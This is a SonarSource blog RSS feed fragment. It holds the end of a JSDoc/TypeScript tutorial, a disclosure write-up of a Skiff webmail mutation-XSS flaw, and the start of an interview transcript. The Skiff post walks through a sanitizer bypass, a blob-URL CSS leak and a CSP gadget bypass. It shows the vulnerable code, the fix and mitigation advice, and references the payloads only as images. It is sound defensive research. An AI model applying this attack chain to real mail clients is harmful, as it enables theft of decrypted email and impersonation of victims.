 */

function getNames(teamMembers) {
  return teamMembers.map(tm =&gt; tm.name);
}&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3ba898ac-9f0f-437e-8440-ad9304043770/jsdoc-import-params.png&quot; /&gt;&lt;p&gt;There&amp;#x27;s more to JSDoc than this, and you can read up on the &lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/jsdoc-supported-types.html&quot;&gt;JSDoc annotations that TypeScript supports in the TypeScript documentation&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;TypeScript declaration files&lt;/h4&gt;&lt;p&gt;If you find writing type definitions in comments in your files too noisy, you can choose to write those definitions in a declaration file instead. &lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/declaration-files/templates/module-d-ts.html&quot;&gt;TypeScript declaration files&lt;/a&gt; are the &lt;em&gt;.d.ts&lt;/em&gt; files you&amp;#x27;ll find in the Definitely Typed project or in JavaScript libraries that also ship their type definitions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Writing TypeScript declaration files is the closest this article will get to writing TypeScript itself. A declaration file declares the types of classes, functions and variables in TypeScript syntax without defining the contents.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To use a declaration file to define the &lt;code&gt;TeamMember&lt;/code&gt; type, from above, you would create a &lt;em&gt;teamMember.d.ts&lt;/em&gt; file and enter the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export type TeamMember = {
  name: string;
  languages: Array&lt;string&gt;;
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can then import that in your JavaScript using the JSDoc import syntax:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/**
 * @type {import(&quot;./teamMember.d&quot;).TeamMember}
 */

const teamMember = {
  name: &quot;John Doe&quot;,
  languages: [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;HTML&quot;, &quot;CSS&quot;],
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Importing your types from a declaration file keeps your type definitions separate from your code and gives you all of the expressiveness of the TypeScript type system. Adding declaration files like this to libraries that you write means that other projects can also install the library and access the types.&lt;/p&gt;&lt;h2&gt;Still not TypeScript, just supercharged JavaScript&lt;/h2&gt;&lt;p&gt;Remember, you&amp;#x27;re still in a JavaScript project here. You don&amp;#x27;t need to add these types, but if you find parts of your code that would benefit from them, the combination of JavaScript, JSDoc and, optionally, declaration files means that you can.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Giving more type information will help TypeScript understand your JavaScript better, which in turn helps your IDE to make better suggestions and helps &lt;a href=&quot;https://rules.sonarsource.com/typescript/&quot;&gt;SonarQube and SonarCloud apply TypeScript rules&lt;/a&gt; to your source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Do watch out, though; after going through this evolution, from &lt;a href=&quot;https://www.sonarsource.com/blog/benefits-typescript-in-your-javascript/&quot;&gt;adding TypeScript to your JavaScript project&lt;/a&gt; and adding more types, you might want to convert your project all the way to TypeScript. Thankfully, if you have got this far, the effort to move is now much lower and, much like adding types to the code base, can be done incrementally.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code Vulnerabilities Put Skiff Emails at Risk]]></title><description><![CDATA[Our Research team discovered critical code vulnerabilities in Proton Mail, Skiff, and Tutanota. This post covers the technical details of the XSS vulnerability in Skiff.]]></description><link>https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk</link><guid isPermaLink="false">d0bb8e9e-06c7-5170-ba12-adb53368e34e</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 12 Sep 2023 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Executive Summary / Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;In June 2022, the Sonar Research team discovered critical code vulnerabilities in multiple encrypted email solutions, including Proton Mail, Skiff, and Tutanota.&lt;/li&gt;&lt;li&gt;These privacy-oriented webmail services provide end-to-end encryption, making communications safe in transit and at rest. Our findings affect their web clients, where the messages are decrypted with the user&amp;#x27;s keys; mobile clients were unaffected.&lt;/li&gt;&lt;li&gt;The vulnerabilities would have allowed attackers to steal emails and impersonate victims if they interacted with malicious messages.&lt;/li&gt;&lt;li&gt;Thanks to our report, the issue has been fixed, and there are no signs of in-the-wild exploitation.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Last week&amp;#x27;s article&lt;/a&gt; discussed the risks of end-to-end encrypted mail providers and showcased the details of a Cross-Site Scripting vulnerability we found in Proton Mail.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we present the technical details of the vulnerabilities we found in Skiff. We show how an innocent-looking piece of code led to a Cross-Site Scripting issue that made it possible for attackers to steal decrypted emails and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our 3-post series, we will cover another severe vulnerability we found in Tutanota Desktop next week. Attackers could have used that vulnerability to steal emails and even execute arbitrary code on the victims&amp;#x27; machines.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also presented the content of this blog post series as a talk at &lt;a href=&quot;https://www.blackhat.com/asia-23/briefings/schedule/#stealing-with-style-using-css-to-exploit-protonmail--friends-31697&quot;&gt;Black Hat Asia 2023&lt;/a&gt;; the video recording will is available &lt;a href=&quot;https://www.youtube.com/watch?v=pnbZMvCPqSc&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The Sonar Research team discovered a Cross-Site Scripting vulnerability in the open-source code of Skiff&amp;#x27;s web client. Since the web client is where the decryption of emails happens after the user enters their password, it is also the place where the emails exist in their decrypted form. Attackers can therefore steal decrypted emails and impersonate their victims, bypassing the end-to-end encryption.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This time, attackers have to send two emails, both of which must be viewed by the victim. The second email contains a link that the victim has to click.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We responsibly disclosed the vulnerabilities to the vendor in June 2022, and they were fixed shortly after. The following proof-of-concept shows how attackers could have exploited the vulnerability:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/7YQDoQB0I70&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;Dealing with user-controlled HTML in a web application always increases the risk of Cross-Site Scripting (XSS). While senders may want to style their message and include images, other HTML tags like &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; may have unwanted effects and compromise the reader&amp;#x27;s security. This is already dangerous for regular webmail services, where anybody could send a malicious email to a user just by knowing their email address.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is even more dangerous for end-to-end encrypted and privacy-oriented web mailers, where users put much more trust into the service. If an attacker can execute arbitrary JavaScript in the context of such an application, they could potentially steal decrypted emails and private keys, deanonymize users, and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid all this, web mailers put a lot of effort into ensuring no malicious HTML can get through. Most use state-of-the-art HTML sanitizers, such as &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, to eliminate malicious HTML. This is an excellent first step, but even the sanitized data is so fragile that subtle mistakes in handling it can jeopardize the security of the whole application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following sections will explain the code vulnerability we found in &lt;a href=&quot;https://skiff.com/mail&quot;&gt;Skiff&lt;/a&gt;. We will also highlight the importance of modern web defense mechanisms, how they make attackers&amp;#x27; lives harder, and how they can still be bypassed when the right conditions align. Finally, we examine how the Skiff team fixed these issues and how to avoid such vulnerabilities in your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Prepare for a story about mXSS, sandbox bypasses, and CSP gadgets!&lt;/strong&gt;&lt;/p&gt;&lt;h3&gt;Skiff&lt;/h3&gt;&lt;p&gt;To ensure the security of their service, Skiff employs multiple defenses. They start by sanitizing the HTML of an email body using DOMPurify. After that, they perform a few more steps, including the following transformation:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/skiff-org/skiff-apps/blob/1c655305ee08e584452e6d36f18382bf44699e33/skiff-mail-web/components/Thread/MailHTMLView/injectIDs.ts#L51-L58&quot;&gt;skiff-mail-web/components/Thread/MailHTMLView/injectIDs.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const injectShowPreviousContainer = (dom: Document) =&gt; {
  const quote = dom.querySelector(&apos;[data-injected-id=last-email-quote]&apos;);
  if (quote) {
    const div = document.createElement(&apos;div&apos;);
    div.setAttribute(INJECTED_ID_ATTR, InjectedIDs.ShowPreviousContainer);
    quote.parentElement?.insertBefore(div, quote);
  }
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This function marks the beginning of the previously quoted emails in an email thread. It inserts an empty &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; element before the first element that has a &lt;code&gt;data-injected-id&lt;/code&gt; attribute with the value &lt;code&gt;last-email-quote&lt;/code&gt;. This modification looks innocent at first glance because only an empty element is inserted.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the insertion of an element leads to a case of mutation-based Cross-Site Scripting (mXSS). Let&amp;#x27;s look at the following payload:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ccba5abf-a08c-4047-80d3-f1bda719e3a6/Screenshot%202023-09-12%20at%2019.20.39.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This payload passes the sanitization just fine because the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag with the event handler is hidden in an attribute value. The content of the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element is parsed as HTML instead of raw text here because it is located within an &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; element, so the SVG parsing rules apply. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After that, the &lt;code&gt;injectShowPreviousContainer&lt;/code&gt; function inserts the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag, resulting in the following HTML tree:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1b8e7e65-2273-4516-a9ba-cb56ca91d7a9/Screenshot%202023-09-12%20at%2019.21.44.png&quot; /&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;If we consult the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inforeign&quot;&gt;HTML specification&lt;/a&gt;, we can see that &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements are not valid children of &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; elements. Since this was an explicit modification of the DOM, no error is thrown, and the element stays at the position it was inserted.&lt;/p&gt;&lt;h3&gt;Reparsing Triggers Mutations&lt;/h3&gt;&lt;p&gt;At a later stage in the email handling code, the sanitized DOM tree gets serialized back to its string representation again by reading its &lt;code&gt;innerHTML&lt;/code&gt; property:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/skiff-org/skiff-apps/blob/1c655305ee08e584452e6d36f18382bf44699e33/skiff-mail-web/components/Thread/MailHTMLView/injectIDs.ts#L94&quot;&gt;skiff-mail-web/components/Thread/MailHTMLView/injectIDs.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export const injectIDs = (html) =&gt; {
  const dom = document.implementation.createHTMLDocument();
  // ...
  injectShowPreviousContainer(dom);
  // ...
  return dom.body.innerHTML;
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To finally render the processed email, the resulting HTML is parsed again by assigning it to an element&amp;#x27;s &lt;code&gt;innerHTML&lt;/code&gt; property via React&amp;#x27;s &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; attribute:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/skiff-org/skiff-apps/blob/1c655305ee08e584452e6d36f18382bf44699e33/skiff-mail-web/components/Thread/MailHTMLView/MailHTMLView.tsx#L124&quot;&gt;skiff-mail-web/components/Thread/MailHTMLView/MailHTMLView.tsx&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const MailHTMLView: FC&lt;MailViewProps&gt; = ({ email }) =&gt; {
  // ...
  return (
    // ...
        &lt;div
          className=&apos;ProseMirror&apos;
          dangerouslySetInnerHTML={{ __html: purifiedContent }}
          ref={setEmailDivRef}
          style={{ fontFamily: &quot;&apos;Skiff Sans Text&apos;&quot; }}
        /&gt;
      &lt;/div&gt;,
    // ...
  );
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During the re-parsing, the browser will try to correct any errors in the HTML. In general, HTML parsers are very lenient and try to cover up any mistakes by developers. How nice of them, right? The parser will, for example, try to close elements with missing closing tags, normalize attribute delimiters, and much more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the case of Skiff, this mutation of the input leads to the following HTML being inserted into the page:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/497f00dc-1152-4485-983f-5c6e6a2f27ba/Screenshot%202023-09-12%20at%2019.23.43.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can observe that the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; element was moved outside the &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; element, which is plausible since it was not a valid child. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element was also moved outside the &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; element along with its predecessor. This situation is familiar from last week&amp;#x27;s Proton Mail vulnerability! During sanitization, the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element is parsed with SVG rules, while it is parsed with HTML rules during the re-parsing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This parsing difference can be abused the same way as before, resulting in the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag being inserted into the DOM and triggering its &lt;code&gt;onerror&lt;/code&gt; event handler during the rendering of the email. So, with a similar payload as the one for Proton Mail, we found a bypass of Skiff&amp;#x27;s sanitization process that allows inserting arbitrary HTML into the page.&lt;/p&gt;&lt;h3&gt;Escaping the Sandbox&lt;/h3&gt;&lt;p&gt;As mentioned earlier, there are multiple defenses in place. After the sanitizer, the next one is an iframe sandbox like the one we covered for Proton Mail. We can find the same directives for Skiff, but there is no special case for Safari:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;allow-same-origin&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;allow-popups&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;allow-popups-to-escape-sandbox&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means that the only way to escape the sandbox is to open a payload in a new tab, which in turn requires the victim to click a link.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can use a CSS leak technique to get a same-origin link that the victim can click. Skiff uses blob URLs to render inline images in emails. This allows attackers to create such URLs with arbitrary content and type by sending them as attachments. Blob URLs inherit the origin of the page they are created on, so they will be able to access data from the original page.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can then include a CSS payload in their email alongside the attachment that will leak the blob URL back to them. They would then use this to send a follow-up email with a link to that blob URL. By setting &lt;code&gt;target=&amp;quot;_blank&amp;quot;&lt;/code&gt; on that link, the URL will always be opened in a new tab.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;last week&amp;#x27;s blog post&lt;/a&gt; to learn about the details of the blob URL creation and CSS leak technique!&lt;/p&gt;&lt;h3&gt;Bypassing the CSP with Cloudflare&amp;#x27;s Help&lt;/h3&gt;&lt;p&gt;The final line of defense is Skiff&amp;#x27;s Content Security Policy (CSP). Here, we have many directives, with the most interesting ones being the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;default-src &amp;#x27;self&amp;#x27;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;​​img-src https://*&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;style-src &amp;#x27;unsafe-inline&amp;#x27;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;script-src &amp;#x27;unsafe-eval&amp;#x27; http://hcaptcha.com&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first three are similar to Proton Mail and allow for remote images and inline styles in emails. The last directive is the interesting one again: it allows scripts from hCaptcha, a captcha service, and it allows scripts to use the &lt;code&gt;eval()&lt;/code&gt; function.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can bypass this directive with a known gadget. We observed that &lt;code&gt;hcaptcha.com&lt;/code&gt; is hosted behind Cloudflare, a popular content delivery network and DDoS protection provider. This means &lt;code&gt;hcaptcha.com&lt;/code&gt; will serve a few utility scripts under the &lt;code&gt;/cdn-cgi/scripts/&lt;/code&gt; path. Some of those scripts contain gadgets that allow bypassing a site&amp;#x27;s CSP when &lt;code&gt;unsafe-eval&lt;/code&gt; is allowed. This technique was discovered by &lt;a href=&quot;https://twitter.com/cgvwzq/status/1267444635938500610&quot;&gt;Pepe Vila in 2020&lt;/a&gt;, and it perfectly fits our scenario. Check out &lt;a href=&quot;https://demo.vwzq.net/cloudflare/&quot;&gt;Pepe&amp;#x27;s page&lt;/a&gt; for the details about this method!&lt;/p&gt;&lt;h3&gt;Putting it all together&lt;/h3&gt;&lt;p&gt;With that, the exploit strategy is complete. The attacker first sends an email with an attachment that causes a blob URL to be created. The email also contains CSS that leaks this URL to the attacker server with the previously described method. Once the blob URL is known, the attacker sends a follow-up email, this time containing a link that the victim has to click. When that happens, the blob URL is opened in a new tab where the hCaptcha/Cloudflare script gadget bypasses the CSP and executes arbitrary JavaScript in the context of the Skiff web application.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Since the code vulnerability we found led to serious impact, let&amp;#x27;s find out how it was fixed and how you can avoid similar issues in your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Skiff team went for a generic approach that can be applied to all similar situations. They moved the sanitizer pass &lt;em&gt;after&lt;/em&gt; all the modifications to make sure the final HTML is safe:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const bodyContent = getEmailBody(email);
const dom = new DOMParser().parseFromString(bodyContent, &apos;text/html&apos;);
proxyAttributes(dom, disableRemoteContent);
rewriteCSSAttribute(dom, originUrl, disableRemoteContent);
const sanitizedContent = DOMPurify.sanitize(dom.documentElement.outerHTML);
return getIframeHtml(sanitizedContent, extraStyle);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid these kinds of sanitizer bypasses in general, we have a few recommendations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;If possible, sanitize on the client instead of the server. HTML parsers are complex beasts; using two different ones is like asking for parser differentials.&lt;/li&gt;&lt;li&gt;Use state-of-the-art sanitizers. This can be &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, but also the upcoming &lt;a href=&quot;https://wicg.github.io/sanitizer-api/&quot;&gt;Sanitizer API&lt;/a&gt; that will be built into browsers in the future. If you use obscure or outdated sanitizers, they may miss weird quirks and leave you vulnerable.&lt;/li&gt;&lt;li&gt;Never modify data after sanitizing it. This is not specific to HTML but to any data that needs to be sanitized. The more complex the data structure, the more dangerous it becomes to modify it after sanitization.&lt;/li&gt;&lt;li&gt;If possible, don&amp;#x27;t even re-parse HTML after sanitizing it. DOMPurify can be configured to return the sanitized DOM tree instead of a string. If you directly insert this tree into the page&amp;#x27;s DOM, the browser will not mutate its contents, leaving less opportunity for mXSS.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-28&lt;/td&gt;&lt;td&gt;We send our detailed report to Skiff&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-30&lt;/td&gt;&lt;td&gt;Skiff deploys the fix to production&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we explained how an innocent-looking mistake in the code could significantly impact the security of an application. We showed how we found and exploited a Cross-Site Scripting vulnerability in Skiff, a popular end-to-end encrypted webmail service.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also discussed how the flaw was fixed and how to avoid such problems in your code. Remember to use client-side sanitization with a state-of-the-art sanitizer, and don&amp;#x27;t modify or re-parse HTML after it has been sanitized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Kudos to the Skiff team for handling our report fast and professionally. They fixed the vulnerability in two days, proving they care greatly about their product&amp;#x27;s security!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next Wednesday, we will complete our 3-part series with a blog post on Tutanota Desktop, where we found an XSS issue that leads to Remote Code Execution. If you don&amp;#x27;t want to miss it, follow us on &lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;Twitter&lt;/a&gt; or &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;Mastodon&lt;/a&gt;!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Part 1: &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Leak Emails in Proton Mail&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;Zimbra Email - Stealing Clear-Text Credentials via Memcache injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/horde-webmail-rce-via-email/&quot;&gt;Horde Webmail - Remote Code Execution via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/rainloop-emails-at-risk-due-to-code-flaw/&quot;&gt;RainLoop Webmail - Emails at Risk due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Security Guy TV Interview - Going Deeper with SAST and Clean Code ]]></title><description><![CDATA[Sonar CEO, Olivier Gaudin, and  Head of Research and Development, Johannes Dahse, meet with Security Guy TV’s Chuck Harold to discuss deeper SAST and the importance of Clean Code. ]]></description><link>https://www.sonarsource.com/blog/security-guy-interview-deeper-with-sast-clean-code</link><guid isPermaLink="false">54834369-9940-56e0-9b91-63d853393cf4</guid><dc:creator><![CDATA[Katie Hyman]]></dc:creator><pubDate>Fri, 08 Sep 2023 04:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/cPxwIpV6VBI?si=DO4XnS0q1u3MGekU&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Our co-founder and CEO, Olivier Gaudin, and our Head of Research and Development, Johannes Dahse, met with Security Guy TV’s Chuck Harold during Black Hat USA 2023 to discuss Sonar’s announcement of &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-new-deep-analysis-capability/&quot;&gt;deeper SAST&lt;/a&gt; and the importance of &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Hi everybody, welcome back to Black Hat USA 2023. This is episode 2988. My next guests – Mr. Olivier Gaudin, he’s the CEO, and Johannes Dahse, he’s the Head of Research and Development for sonarsource.com. Welcome gentleman, welcome to the show.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JOHANNES&lt;/strong&gt;: Thanks, Chuck. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Sonar deeper SAST - Advanced detection analysis&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Now today&amp;#x27;s topic, discovering hidden security issues in code with &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;Sonar deeper SAST&lt;/a&gt;. Great conversation, a lot to learn about this. You guys recently announced a powerful deep analysis to find hidden security issues in code on August 2nd. It’s referred to as deeper SAST. Its new advanced detection and it addresses the issues that traditional SAST tools miss. We’re gonna talk about that today. Let&amp;#x27;s start by asking what is unique about deeper SAST. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JOHANNES&lt;/strong&gt;: We think, all kinds of issues in code, right, that could make your codebase unhealthy, and security issues are one important part of the issues we detect. And the challenge for security issues is typically that they can be everywhere in your codebase. And when we mean everywhere in your codebase, we are talking about issues that can be a combination of multiple code pieces, and those code pieces can also be in dependency code. And traditionally what happens in the market is that we scan code only for the codebase of the developers, what they coded. But every software project includes many, many dependencies and now we are able to also find security issues that come from an interaction with this dependency code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Now, this sounds a little different to me. So, what is Sonar doing differently than others in the market for this space?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: Yeah, I think if you think about the way that other vendors have looked at this so far there is a clear separation between the code that you write and the code that other people write. And the code that you write has traditionally been, okay, we must analyze this code to see whether there are any flow issues, whether anybody can input data in the application and it wouldn&amp;#x27;t be sanitized. And when it comes to dependency, the approach of the market has been to kind of go through to go through the various dependencies and various libraries and review manually whether there is an issue or not. And these two worlds, they exist, but they exist separately. What we think at SonarSource is that, at the end of the day, whether you write code or whether somebody else writes code, this is code, and it deserves to be analyzed holistically by a tool. And this is really what we do with what we call deeper SAST which is, we actually look at the code that you write, we add up the code of libraries and then we analyze the whole thing and we find issues that we weren&amp;#x27;t able to find by looking at our own code or by looking at the database of vulnerabilities. Does that clarify?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CHUCK&lt;/strong&gt;: Yeah, it does. It makes sense to me. Now, I started doing this a long time ago, like nine years ago. I’m really self-educated in cybersecurity. What I learned was that most code is open source. I think back in the day it was as much as 80% of code was taken from open source. Is that still the case? Are we still at a high appearance of open source coding and how do you, or do you address that the same way? I mean like you said, code is code. I think that’s a brilliant way to say it. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;JOHANNES&lt;/strong&gt;: So I think today it&amp;#x27;s over 90% of software using dependencies. Developers don&amp;#x27;t want to write every code feature again. They want to spare the rework and reuse this existing open-source code, right? And the problem with that is that developers really don&amp;#x27;t know what is in this open-source code. They don&amp;#x27;t have the time to verify the code that they are using, and whenever they use and interact with a piece of code and dependency code, this can lead to a critical vulnerability. This doesn&amp;#x27;t mean that every dependency is vulnerable or whenever you do that, your code becomes vulnerable. But every 